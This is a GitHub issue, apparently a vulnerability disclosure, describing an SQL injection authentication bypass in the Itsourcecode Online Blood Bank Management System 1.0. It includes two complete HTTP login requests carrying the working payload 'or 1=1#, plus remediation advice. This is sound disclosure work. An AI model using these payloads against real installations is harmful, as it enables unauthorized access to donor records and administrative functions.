Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Itsourcecode Online Blood Bank Management Authentication Bypass via SQL Injection to User page and Admin Console #3

Open
cl4irv0yance opened this issue Jul 30, 2024 · 0 comments

Comments

@cl4irv0yance
Copy link
Owner

cl4irv0yance commented Jul 30, 2024

Itsourcecode Online Blood Bank Management Authentication Bypass via SQL Injection to User page and Admin Console

Affected Product

Online Blood Bank Management System in PHP with Source Code

Vendor Homepage

https://itsourcecode.com/free-projects/php-project/online-blood-bank-management-system-in-php-with-source-code/

Version

1.0

Vulnerable Software

https://itsourcecode.com/wp-content/uploads/2021/02/Blood-Bank-Management-System-in-Php-with-Source-Code-1.zip

Requirements

There are no requirements for authentication to perform this attack.

Problem

Authentication Bypass via SQL Injection

Root Cause

A SQL injection vulnerability was found in the '/admin/index.php' file and the '/index.php file' of the 'Online Blood Bank Management System' project. The reason for this issue is that attackers inject malicious code from the parameter "user" and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations, allowing access to both the user console page as well as the admin user page.

Impact

Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, unauthorized administrative functions, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

Description

In Version 1.0 of the Online Blood Bank Management System application, a SQL injection vulnerability was found in the '/admin/index.php' file and the '/index.php file' of the 'Online Blood Bank Management System' project. The reason for this issue is that attackers inject malicious code from the parameter "user" and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations, allowing access to both the user console page as well as the admin user page.

No login or authorization is required to exploit this vulnerability

Proof-of-Concept

Working Payloads

Admin Console

POST /bloodbank/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/bloodbank/admin/index.php
Cookie: PHPSESSID=6bp6hj4uabm82gml4a6qmmqrff
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

tab=on&user='or+1%3d1%23&pass=test&sub=Sign+In

User Console

POST /bloodbank/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/bloodbank/login.php
Cookie: PHPSESSID=6bp6hj4uabm82gml4a6qmmqrff
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

tab=on&user='or+1%3d1%23&pass=test&sub=Sign+In

Remediation Guidance

Use prepared statements and parameter binding:
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

Input validation and filtering:
Strictly validate and filter user input data to ensure it conforms to the expected format.

Minimize database user permissions:
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

Regular security audits:
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant